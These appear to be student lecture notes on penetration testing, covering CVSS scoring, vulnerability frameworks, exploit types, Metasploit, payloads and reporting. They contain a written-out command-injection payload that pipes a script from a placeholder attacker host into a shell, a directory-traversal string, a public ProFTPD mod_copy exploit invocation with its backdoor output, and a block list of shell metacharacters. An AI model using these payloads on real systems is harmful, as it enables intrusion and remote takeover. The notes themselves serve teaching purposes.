Summary Flow

Base Metrics⇒Base Score\text{Base Metrics} \Rightarrow \text{Base Score}
Base Score→× Temporal multipliersTemporal Score\text{Base Score} \xrightarrow{\times\ \text{Temporal multipliers}} \text{Temporal Score}
Temporal Score→adjusted by Env. weightsEnvironmental Score\text{Temporal Score} \xrightarrow{\text{adjusted by Env. weights}} \text{Environmental Score}

Analogy: Pricing a house.

  • Base = the house itself (size, structure) — doesn't change.
  • Temporal = current market conditions (a new mall opened nearby, interest rates changed).
  • Environmental = what it's worth to you (close to your job? need 4 bedrooms?).

CVSS Scoring Example: Remote Code Execution

  • CVSS v3.1 example — understanding the Base Score
  • Scenario: An Internet-facing web server allows remote code execution without authentication or user interaction

MetricValueMeaning
AVNetworkAttackable remotely over the Internet
ACLowNo special conditions are required
PRNoneThe attacker does not need an account
UINoneNo victim action is required
CHighSensitive information can be disclosed
IHighData or system state can be modified
AHighThe service can be disrupted
  • Base Score≈9.8;— CRITICAL\boxed{\text{Base Score} \approx 9.8 ;\text{— CRITICAL}}
  • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score asks: "How severe is the vulnerability itself?"
  • Key idea: Base metrics describe intrinsic technical severity — independent of your organization

From Base Severity to Organizational Context

  • The same vulnerability can have different operational priority
StepQuestionConsiders
1. BASEHow severe is it?Intrinsic technical characteristics
2. TEMPORALWhat is happening now?Exploit maturity, remediation, confidence
3. ENVIRONMENTALHow important is it here?Your assets, requirements, and environment

Example: same vulnerable software on two systems

ContextPublic Test ServerHospital Database Server
Sensitive dataLowVery High
Availability needLowCritical
Business impactLimitedSevere
Remediation priorityMediumImmediate
  • Take-home: CVSS measures vulnerability severity — it is NOT a complete organizational risk score

Analogy: A leaky pipe is the same leak whether it's in a garden shed or above a server room. The _pipe_problem (Base) is identical; how fast you call the plumber (Environmental) is not.


Worked Example: Computing Temporal & Environmental Scores

MetricValueMeaning
Base Score9.8Intrinsic severity of the vulnerability (Critical)
Exploit Code Maturity (E)0.91Exploit is functional, publicly available
Remediation Level (RL)0.95Official fix available
Report Confidence (RC)0.96Confirmed, well-documented report

Step 1: Compute Temporal Score

[Image]

  • Temporal modifies the Base Score to reflect current exploit conditions:

Temporal Score=Base Score×E×RL×RC\boxed{\text{Temporal Score} = \text{Base Score} \times E \times RL \times RC}

=9.8×0.91×0.95×0.96= 9.8 \times 0.91 \times 0.95 \times 0.96

  • Slide states the result as 8.118.11, rounded to one decimal place:

Temporal Score=8.1;(High)\boxed{\text{Temporal Score} = 8.1 ;\text{(High)}}

  • 🔍 Step-by-step check:
    • 9.8×0.91=8.9189.8 \times 0.91 = 8.918
    • 8.918×0.95=8.47218.918 \times 0.95 = 8.4721
    • 8.4721×0.96≈8.1338.4721 \times 0.96 \approx 8.133
    • So the exact product is ≈8.13\approx 8.13 (slide shows 8.11), but both round to 8.1 → the answer is the same
    • Note: the official CVSS v3.1 spec rounds up (8.13 → 8.2), so a real calculator may show 8.2; for the exam, follow the slide's 8.1

Step 2: Apply Environmental Adjustments

[Image]

  • The Environmental Metrics modify the 8.1 according to your organization's asset sensitivity:
    • Confidentiality Requirement (CR) = High → 1.5 multiplier
    • Integrity Requirement (IR) = Medium → 1.0 multiplier
    • Availability Requirement (AR) = Low → 0.5 multiplier
  • CR/IR/AR multipliers: High=1.5,;Medium=1.0,;Low=0.5\boxed{\text{CR/IR/AR multipliers: High} = 1.5,; \text{Medium} = 1.0,; \text{Low} = 0.5}
  • These weights alter the "Impact" portion of the CVSS calculation, which slightly changes the final value upward or downward depending on which aspect is most critical
  • After applying these multipliers and re-normalizing, the final Environmental Score becomes approximately:

Environmental Score≈8.4;(High)\boxed{\text{Environmental Score} \approx 8.4 ;\text{(High)}}

  • 📌 It went up from 8.1 → 8.4 because Confidentiality (weighted ×1.5) matters most to this organization
  • 📌 The multipliers are not simply multiplied onto 8.1 (that would give 8.1×1.5×1.0×0.5=6.0758.1 \times 1.5 \times 1.0 \times 0.5 = 6.075). They re-weight the C/I/A impact sub-scores inside the formula, then the score is re-normalized

Real-World CVSS Examples

1) CVE-2021-44228 — Log4Shell

  • CVSS v3.1: 10.0 — CRITICAL
  • Vector: AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H
  • Why this score?
    • Remote network attack; low attack complexity
    • No privileges and no user interaction required
    • High confidentiality, integrity, and availability impact
  • Key factors: PR:N+UI:N+S:C+High C/I/A\text{PR:N} + \text{UI:N} + \text{S:C} + \text{High C/I/A}

2) CVE-2017-0144 — EternalBlue

  • CVSS v3.1: 8.8 — HIGH

  • Vector: AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H

  • Why this score?

    • Remote network attack; low attack complexity
    • Low privileges required (PR:L)
    • Scope unchanged (S:U); high C/I/A impact
  • Score reducers vs. Log4Shell: PR:L+S:U\text{PR:L} + \text{S:U}

  • ⭐ Key Takeaway: Small differences in CVSS metrics can significantly change the severity score

  • CVSS calculator: https://nvd.nist.gov/vuln-metrics/cvss/v4-calculator

How to read a CVSS vector string

  • Format: METRIC:VALUE / METRIC:VALUE / ...
  • AV:N = Attack Vector: Network, PR:L = Privileges Required: Low, S:C = Scope: Changed, etc.

CVSS vs. CVE

CVE — Common Vulnerabilities and ExposuresCVSS — Common Vulnerability Scoring System
PurposeProvides a unique identifier for a publicly disclosed vulnerabilityMeasures the severity of a vulnerability
ContentIncludes a description and referencesProduces a standardized score from 0.0–10.0
Answers"Which vulnerability is it?""How severe is it?"
ExampleCVE-2021-44228 → Log4ShellLog4Shell → CVSS v3.1 = 10.0 (Critical)
  • ⚠️ Important: Not every CVE has a CVSS score. The same CVE may also have different CVSS scores/vectorsfrom different scoring authorities
  • CVE=Identification∣CVSS=Severity\boxed{\text{CVE} = \text{Identification} \quad|\quad \text{CVSS} = \text{Severity}}

Analogy: CVE is the patient's ID number; CVSS is the triage level in the emergency room.


Understand Common Attack Patterns

  • From high-level (broad) down to low-level granular scope:
FrameworkWhat it covers
ATT&CK(MITRE)Tactics, Techniques, Procedures (TTP); attack stages; APT group profiles
CAPECAttack patterns (TTP); includes description, severity, required initial conditions, success rate; maps to ATT&CK and CWE
CWESoftware weaknesses; software assurances; mapped by CVE
CVEDisclosure of individual vulnerabilities; includes impact severity score, attack prerequisites, and mitigation advisories; maps to CWE and CPE
CPEProduct version; product vendor; mapped by CVE

Analogy (a crime investigation):

  • ATT&CK = the criminal's playbook ("they broke in, then disabled cameras, then stole jewels").
  • CAPEC = the general type of crime ("lock picking").
  • CWE = the type of weakness ("cheap pin-tumbler locks").
  • CVE = one specific broken lock ("Model X lock, batch 2021, can be opened with a hairpin").
  • CPE = the exact product label ("BrandY Model X v2.1").

Conceptual Focus: ATT&CK vs. CAPEC

AspectATT&CKCAPEC
PerspectivePost-compromise behavior (intrusion / kill-chain stage)Pre-compromise attack patterns (design or code-level)
Abstraction LevelOperational / tactical (specific adversary actions)Conceptual / design (classes of attacks)
Usage StageIncident response, threat hunting, red teamingThreat modeling, secure design, software assurance
GranularityFine-grained, technique-levelBroad, abstract attack pattern
Example Question Answered"What did the attacker do once inside?""What kinds of attacks can exploit my system design?"

Software Bug vs. Vulnerability vs. Risk

Software Bug →Vulnerability →Risk / Threat
Buffer overflowBlueKeepRemote code execution
Race conditionShellshockAuthentication bypass
Access violationDirty COWSensitive information disclosure
Infinite loopHeartbleedDenial of Service
Division by zeroEternalBluePrivilege escalation
Off-by-one errorSQL injectionSecurity feature bypass
Null pointer dereferenceCode injectionUser session takeover
Input validation errorDirectory traversalMalicious file upload
Resource leakXSS, CSRF, SSRFMan-in-the-middle
  • An exploit represents the actual conjunction of the three terms, materializing the risk into reality
    Bug→Vulnerability→Risk→ExploitReal-world damage\boxed{\text{Bug} \rightarrow \text{Vulnerability} \rightarrow \text{Risk} \xrightarrow{\text{Exploit}} \text{Real-world damage}}

Analogy: A bug = a loose floorboard. A vulnerability = that loose board happens to be above the safe. A risk = someone could lift it and steal the money. An exploit = someone actually lifting it.


Some Vulnerabilities

  • BlueKeep (CVE-2019-0708) — vulnerability leading to remote code execution (in Windows RDP, Remote Desktop Protocol)
  • Shellshock → privilege escalation (a flaw in the Bash shell; it also allows remote command execution via web servers)
  • Dirty COW (Copy-On-Write) — privilege escalation in Linux (slide writes CVExxxxxx; it is CVE-2016-5195)
  • Heartbleed — vulnerability in the OpenSSL software (attackers can steal information that SSL/TLS was supposed to protect)
    • ข้อมูลไหลออกตลอด
    • Fix: update patches, install a new version of OpenSSL, revoke the SSL certificate, and request a new one from the CA
  • EternalBlue — exploit that allows hackers to do remote execution of arbitrary code on Windows (via SMB, port 445)

Why revoke the certificate after Heartbleed? Heartbleed could leak the server's private key from memory. Patching stops future leaks, but if the key already leaked, the attacker can still impersonate you — so the old certificate must be replaced.


Exploitation

  • An exploit is a piece of code, a program, or carefully crafted data that takes advantage of a vulnerability to achieve an unintended or unanticipated behavior (materializing the risk) in the software that contains a bug

The trigger to exploitation process is vulnerability

Analogy: If the vulnerability is a gap in the fence, the exploit is the exact technique (ladder, crawl, squeeze) used to get through it.

Local vs. Remote Exploits

  • Local exploits
    • Code meant to exploit a vulnerability locally on a system where we already have (limited) access
    • Almost always privilege escalation exploits, aiming to raise privileges to a higher level (ideally administrative / root / ring 0) for complete control over the target system's resources
  • Remote exploits
    • Code meant to exploit a vulnerability on a remote system without any prior access
    • Typically targeted against a specific network service (of a specific vulnerable version)
    • Objective: obtain unauthorized access to information or access to the remote system's resources
Local ExploitRemote Exploit
Prior access needed?✅ Yes (limited)❌ No
Typical goalPrivilege escalation → root/adminInitial access via a network service
  • Ring 0 = kernel mode, the highest CPU privilege level (user programs run in ring 3)

Analogy: Remote exploit = getting into the building from the street. Local exploit = you're already inside as a visitor and you find a way to get the master key.


Types of Exploits

Denial of Service (DoS)

  • An exploit causing a crash of a given service/system
  • ⚠️ We should always stay away from using DoS exploits — there is nothing to be gained from them
    • Unless explicitly desired and authorized by the customer

Local Privilege Escalation (LPE)

  • Objective: obtain administrative privileges, typically:
    • "Domain Admin" in Active Directory
    • "NT Authority\System" on Windows systems
    • "root" user on UNIX-like systems

Remote Code Execution (RCE)

  • The most popular exploits — they allow us to execute arbitrary code on the target system
    • Take control of target system, run arbitrary code
      • arbitrary code = chosen attack code/commands by the attacker (จะเป็นอะไรก็ได้ ไม่จำเป็นต้อง malicious อาจจะ legitimate code ก็ยังด้ายย)
  • Most of the time, malware is used to take over the system

RCE Attack (from diagram)

  • Attacker sends a malicious command through a web form's SEND field, e.g.:
$(curl https://web-attacker.com/backdoor.sh | sh)
  • (This downloads a script from the attacker's server and pipes it straight into the shell to run it)
  • Result → FULL SYSTEM CONTROL (Windows, macOS, Linux, Android, web), giving:
    • Upload/download data
    • Server access
    • Edit user security levels
    • Admin application access
    • Access sensitive data
    • Local network access

How to Prevent RCE Attacks?

  • RCE attacks are very complex; network vulnerabilities keep evolving and new exploitation opportunities are always appearing
  • Update OSs and third-party software all the time
  • A Cyber Threat Intelligence (CTI) platform is a must to prevent RCE attacks before they occur
  • Block special characters or function names (e.g., $, ;, |, `, eval, system)
  • Use safe practices for secure file uploads
  • Validate and sanitize user entries and inputs
  • Limit access to the interpreter

Analogy: RCE is like a vending machine that accepts typed requests. Instead of typing "1 soda," the attacker types "open the cash box and hand it to me" — and the machine obeys. Prevention = only accept "1 soda," "2 chips," etc., and reject anything else.

Web Application Exploits

  • WebApps = the highest portion of published exploits by far
  • Includes vulnerabilities such as:
    • Directory Traversal (../../etc/passwd to escape the web folder)
    • SQL Injection (SQLi)
    • Authentication Bypass
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • XML External Entity Injection (XXE)
    • Local / Remote File Inclusion (LFI / RFI)
    • And many more…

Client-Side Exploits

  • Exploit vulnerabilities in client applications such as:
    • PDF viewers
    • Web browsers
    • Chat / IM / Email clients
    • FTP, SSH, DHCP clients
    • And many more…

Proof of Concept (PoC) Exploits

  • A test code to check whether a particular vulnerability exists on a system or not (without exploiting it)
  • This could be a dirty practice
  • ⚠️ Always treat PoC exploits as any other exploit (they can still crash or damage systems)

Where to Find Exploits?

The Exploit Database (Exploit-DB)

  • https://www.exploit-db.com/ — operated and maintained by Offensive Security
  • One of the best places to get good-quality exploits
  • An archive of public exploits and security advisories
  • Over 42,729 exploit entries (at the time of writing) and growing practically every day
  • Command-line utility searchsploit gives access to the exploit archive
    • Pre-installed on Kali Linux by default, also available for other systems

Vulners CVE Database

  • CVE = Common Vulnerabilities and Exposures
  • Vulners (https://vulners.com/search) — another great source of exploits
  • Aggregates a vast amount of information from many different sources, giving details on practically any publicly known vulnerability

GitHub Exploit Repositories


Exploit Frameworks

Analogy: An exploit framework is like a professional toolbox with every tool labelled and tested, instead of a pile of random tools borrowed from strangers.

Example: Searching for ProFTPd Exploits in Metasploit

[Image]

msfconsole
msf5 > search proftpd
#NameDisclosure DateRankCheckDescription
0exploit/freebsd/ftp/proftp_telnet_iac2010-11-01greatYesProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
1exploit/linux/ftp/proftp_sreplace2006-11-26greatYesProFTPD 1.2 – 1.3.0 sreplace Buffer Overflow (Linux)
2exploit/linux/ftp/proftp_telnet_iac2010-11-01greatYesProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (Linux)
3exploit/linux/misc/netsupport_manager_agent2011-01-08averageNoNetSupport Manager Agent Remote Buffer Overflow
4exploit/unix/ftp/proftpd_133c_backdoor2010-12-02excellentNoProFTPD-1.3.3c Backdoor Command Execution
5exploit/unix/ftp/proftpd_modcopy_exec2015-04-22excellentYesProFTPD 1.3.5 Mod_Copy Command Execution
  • How to read it:
    • Rank = reliability (excellent > great > good > normal > average > low)
    • Check = Yes → the module can test whether the target is vulnerable before exploiting

What is FTPD?

[Image]

  • FTPD (File Transfer Protocol Daemon) is the DARPA Internet FTP server process
  • The server uses TCP and listens at the port specified in the FTP service specification (port 21)
  • Runs on a variety of Unix-like operating systems; has also been ported to Android
  • Interprets file names according to the "globbing" conventions (wildcards like *.txt)
  • ProFTPD = a popular open-source FTP daemon (the target in the example above)
  • "Daemon" = a background service process on Unix (names often end in d: sshd, httpd, ftpd)

Example of Exploit Backdoor (CVE-2015-3306 — ProFTPD mod_copy)

[Image]

  • To exploit the target, run:
./exploit.py --host HOST --port PORT --path PATH
  • If using the vulnerable lab image:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
  • After exploitation, a file called backdoor.php is stored in the root folder of the web directory, and the exploit gives you a shell to send commands to the backdoor:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
  • Source: https://github.com/t0kx/exploit-CVE-2015-3306
  • 📌 whoami: www-data → the attacker runs as the web server user (low privilege) → next step would be privilege escalation to root
  • How it works: ProFTPD's mod_copy let unauthenticated users run SITE CPFR/SITE CPTO to copy files, so an attacker could write a PHP file into the web root

What is a Payload?

  • What happens after we exploit a software bug (e.g., a buffer overflow)?
  • Payloads define an action we want to perform after exploiting a vulnerability, for instance:
    • Execute code
    • Spawn a reverse shell
    • Create a backdoor
    • Create a user
    • Read a file
  • Anything we want
  • Payloads are typically written in the form of a shellcode
    • Web app exploits have payloads in text form

Exploit=how you get inPayload=what you do once inside\boxed{\text{Exploit} = \text{how you get in} \qquad \text{Payload} = \text{what you do once inside}}

  • Reverse shell = the victim connects back to the attacker (bypasses inbound firewall rules, since outbound traffic is usually allowed)

Analogy: The exploit is the missile that breaks through the wall. The payload is the warhead it carries — it could be a camera, a message, or a bomb.


Pentest Method (Vuln Scan ⇒ Exploit)

Nmap (−sV)→Service + Version→CVE (NVD)→Exploit (Exploit-DB / Metasploit)\boxed{\text{Nmap }(-sV) \rightarrow \text{Service + Version} \rightarrow \text{CVE (NVD)} \rightarrow \text{Exploit (Exploit-DB / Metasploit)}}


What is Shellcode?

  • Shellcodes belong to the area of binary exploitation
  • A shellcode is basically a binary form of a payload — a piece of code defining the action (instructions) to execute during exploitation
  • Typically written in machine code appropriate to the target processor architecture and operating system, e.g.:
    • x86 / Windows
    • Dalvik / Android
  • Although shellcoding is about coding, we don't really have to code anything — it is completely automated by exploit frameworks such as Metasploit
  • Called "shellcode" because the classic payload spawns a command shell

Analogy: A payload is the instruction "open the door." Shellcode is that same instruction translated into the exact machine language the target CPU speaks.

NOTE

  • Exploit = takes advantage of a vulnerability to gain access/execute/control
  • Payload - the code or action executed after exploitation succeeds
  • Shellcode - a compact form of payload, traditionally machine-code instructions.
    • Shell is a program that lets a user interact with an OS using the command

Vulnerability → Exploit → Payload → Shell → Consequence: gain access/control over the system

Shallcode is a payload — True
Payload is a shellcode — False


How to Know Which Exploit to Use?

  • Boils down to thorough reconnaissance and identifying which particular version of the software runs on the target
  • Once you have the exact version, look for an exploit
  • searchsploit can parse output from Nmap and recommend exploits based on detected versions
  • Scan the target using Nmap service detection (-sV) and save the output to XML (-oX):
nmap -sV -oX file.xml <target>
  • Then give file.xml to searchsploit:
searchsploit --nmap file.xml

Verified Exploit? = Tested Exploit

  • One indicator that an exploit is safe: look for the "EDB Verified" ✅ mark in the Exploit Database web interface
  • Example: Apache Shiro 1.2.4 – Cookie RememberME Deserialization
    • EDB-ID: 48410, CVE: 2016-4437, Author: Metasploit, Type: Remote, Platform: Multiple, Date: 2020-05-01, EDB Verified: ✓

Safety Guidelines for Working with Exploits

  • Use only trustworthy and reputable sources of exploits
  • Do not download exploits from private forums or from people you don't know
  • Test the exploit before running it on a target
  • Always inspect every exploit in a text editor
  • Beware of terminal escape injections
    • Hidden escape characters in a file can make cat show harmless text while the real code does something else, so open files in an editor, not by printing them to the terminal

Analogy: Running an untrusted exploit is like eating food a stranger handed you on the street. Exploits are code — a "hacking tool" can secretly hack you.


Exploitation Technique (References)


Post-Exploitation

  • Example: Armitage / Cobalt Strike GUI right-click menu on a compromised host (192.168...)
    • Attack, Login, Meterpreter 4 → Access, Interact, Explore, Pivoting, ARP Scan…, Kill
    • Explore → Browse Files, Show Processes, Log Keystrokes, Screenshot, Webcam Shot, Post Modules
    • Also: Services, Scan, Host
  • Meterpreter = Metasploit's advanced payload, giving an interactive session on the victim
  • Pivoting = using the compromised machine as a stepping stone to attack other internal machines that were not reachable directly
  • Goal of post-exploitation: show the real impact (what data could be accessed, how far the attacker could move), which feeds the report

Analogy: Exploitation = getting into the house. Post-exploitation = walking around to show the owner exactly which rooms, safes, and neighbouring houses you could have reached from there.


Reporting

  • Purpose: Organize and document information found during the reconnaissance, network scanning, and vulnerability testing phases of a pentest

[Image]

  • A report should include:
    • Vulnerability description
    • Vulnerability risk ratings (e.g., CVSS)
    • Steps to reproduce
    • Screenshots (evidence)
    • Impact
    • Mitigations

Analogy: A pentest report is like a medical report. It says what's wrong (description), how serious it is (risk rating), how the doctor confirmed it (steps + screenshots), what could happen if untreated (impact), and the treatment plan (mitigations).


PenTest Cost?

  • How much do pentests cost? (measured in effort/days)
TypeTypical Duration
Web4–6 days
Network4–10 days
Mobile5–10 days
Device/IoT7–15 days
Red Team4–10 days
  • ⚠️ Be careful of vulnerability scans that charge by IP address
    • (A cheap automated scan priced per IP is not the same as a real manual pentest)

How to Become a Penetration Tester

  • Stay up to date on recent developments in computer security — reading newsletters and security reports is a good way to do this
  • Become proficient with C/C++, Java, and a scripting language such as Perl (slide spells it "PEARL")
  • Microsoft, Cisco, and Novell certifications
  • Penetration testing certifications:
    • Certified Ethical Hacker (CEH)
    • GIAC Certified Penetration Tester (GPEN)

Certifications

  • Certification logos shown on the slide:
    • CISSP, CISSP-ISSAP, CSSLP — (ISC)²
    • GXPN — GIAC Exploit Researcher and Advanced Penetration Tester
    • CISM, CDPSE — ISACA
    • Burp Suite Certified Practitioner — PortSwigger
    • OSCE, OSWE, OSEP, OSCP — Offensive Security
    • CREST
    • Certified Red Team Professional (CRTP), Certified Az (Azure) Red Team Professional (CARTP)
    • eMAPT (Mobile Application Penetration Tester), eWPTX (Advanced Web Application Penetration Tester), eXDS (Exploit Development Student) — eLearnSecurity
    • CompTIA PenTest+
    • RastaLabs, APTLabs, Cybernetics — Hack The Box Pro Labs

Summary Cheat Sheet

  • Ethical hacker=hacker techniques+permission\boxed{\text{Ethical hacker} = \text{hacker techniques} + \text{permission}}
  • VA=list-oriented, non-intrusive;∣;PT=goal-oriented, intrusive, exploits\boxed{\text{VA} = \text{list-oriented, non-intrusive} ;|; \text{PT} = \text{goal-oriented, intrusive, exploits}}
  • Grey box=best balance of cost, speed, and coverage\boxed{\text{Grey box} = \text{best balance of cost, speed, and coverage}}
  • PenTest: Pre-engagement→Recon→Enumeration→Vuln Analysis→Exploit→Post-exploit→Report→Retest\boxed{\text{PenTest: Pre-engagement} \rightarrow \text{Recon} \rightarrow \text{Enumeration} \rightarrow \text{Vuln Analysis} \rightarrow \text{Exploit} \rightarrow \text{Post-exploit} \rightarrow \text{Report} \rightarrow \text{Retest}}
  • CVE=ID (MITRE);∣;NVD=database (NIST);∣;CVSS=severity score\boxed{\text{CVE} = \text{ID (MITRE)} ;|; \text{NVD} = \text{database (NIST)} ;|; \text{CVSS} = \text{severity score}}
  • Temporal=Base×E×RL×RC\boxed{\text{Temporal} = \text{Base} \times E \times RL \times RC}
  • Base never changes; Temporal changes over time; Environmental changes per organization\boxed{\text{Base never changes; Temporal changes over time; Environmental changes per organization}}
  • Exploit=gets you in;∣;Payload=what runs;∣;Shellcode=binary payload\boxed{\text{Exploit} = \text{gets you in} ;|; \text{Payload} = \text{what runs} ;|; \text{Shellcode} = \text{binary payload}}